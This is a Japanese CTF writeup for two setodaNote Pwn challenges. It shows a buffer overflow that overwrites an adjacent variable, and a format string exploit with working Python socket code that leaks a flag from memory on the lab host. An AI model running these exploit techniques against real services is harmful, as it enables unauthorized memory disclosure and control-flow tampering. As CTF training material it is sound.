これは、2021/8/21~2021/9/4の期間で開催された、setodaNote CTFの Pwn 分野のwriteupです。全体writeupはこちら
tkys_let_die (100)
瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。
添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。
nc 10.1.1.10 13020
この設問では Linux ターミナルを使用します。 https://ctf.setodanote.net/webshell/
配布されたのは、実行ファイルとCのコード。
#include <stdio.h> #include <string.h> #include <stdlib.h> void printFlag(void) { system("/bin/cat ./flag"); } int main(void) { char gate[6]="close"; char name[16]=".."; printf("\n"); printf(" {} {}\n"); printf(" ! ! ! II II ! ! !\n"); printf(" ! I__I__I_II II_I__I__I !\n"); printf(" I_/|__|__|_|| ||_|__|__|\\_I\n"); printf(" ! /|_/| | | || || | | |\\_|\\ !\n"); printf(" .--. I//| | | | || || | | | |\\\\I .--.\n"); printf(" /- \\ ! /|/ | | | | || || | | | | \\|\\ ! /= \\\n"); printf(" \\=__ / I//| | | | | || || | | | | |\\\\I \\-__ /\n"); printf(" } { ! /|/ | | | | | || || | | | | | \\|\\ ! } {\n"); printf(" {____} I//| | | | | | || || | | | | | |\\\\I {____}\n"); printf(" _!__!__|= |=/|/ | | | | | | || || | | | | | | \\|\\=| |__!__!_\n"); printf(" _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n"); printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n"); printf(" | | | || | | | | | | | || || | | | | | | | || | | |\n"); printf(" | | |= || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||- | | |\n"); printf(" _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_\n"); printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n"); printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n"); printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n"); printf("\n"); printf("You'll need permission to pass. What's your name?\n> "); scanf("%32[^\n]", name); if (strcmp(gate,"open")==0) { printFlag(); }else{ printf("Gate is %s.\n", gate); printf("Goodbay %s.\n", name); } return 0; }
gate
とname
の領域が確保されていて、名前を聞かれたときの入力がname
に保存される。2つの領域はつながっているので、name
を溢れさせてgate
をopen
に書き換えれば良さそう。
$ nc 10.1.1.10 13020 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > aaaaaaaaaaaaaaaaaaaaaaaaaaopen ============================= GREAT! GATE IS OPEN!! >> Flag is flag{Alohomora} << *-*-*-*-*-*-*-*-*-*-*-* =============================
1989 (200)
脆弱性を調査し、フラグを入手してください。
nc 10.1.1.10 13030
この設問では Linux ターミナルを使用します。 https://ctf.setodanote.net/webshell/
指定されたホストにつないでみると
$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x565c4060] >> flag is here << | Ready > q Your Inpur : q
ということで、CWE-134
の脆弱性を利用する問題のよう。アドレス0x565c4060
にflagがいるよ、というメッセージに見える。
CWE-134
で検索すると、書式文字列(Format String)の脆弱性のよう。詳細はこのあたりの解説を参照。
ももいろテクノロジーさんの記事 format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー を参考に、調査用の入力をしてみる。
Ready > AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x Your Inpur : AAAAffd33f60.ffd34368.565f3306.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78
と、4番目のブロックにAAAA
の16進41414141
が出てきているので、4番目のindexにセットしたアドレスの値を表示してくれそう。
いつもならpwntoolを使っているのだけど、webshell限定なのでpwntoolが入れられない&使えない。nc
しながら攻撃コマンドを送るプログラムを調べて書くのに時間がかかった。地味にpython2系なのも辛い…。
#!/usr/bin/env python2 import struct import socket import re host = '10.1.1.10' port = 13030 # connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) data = s.recv(1024) #print data # get flag address flag_addr = int(re.findall('\[.*\]', data)[0].replace('[','').replace(']',''), base=16) # construct attack inpt buf = struct.pack('<I', flag_addr) buf += '%4$s' # send attack input s.send(buf + '\n') data = s.recv(1024) print data
実行結果
$ python solve.py Your Inpur : `�\Vflag{Homenum_Revelio_1989}
やった!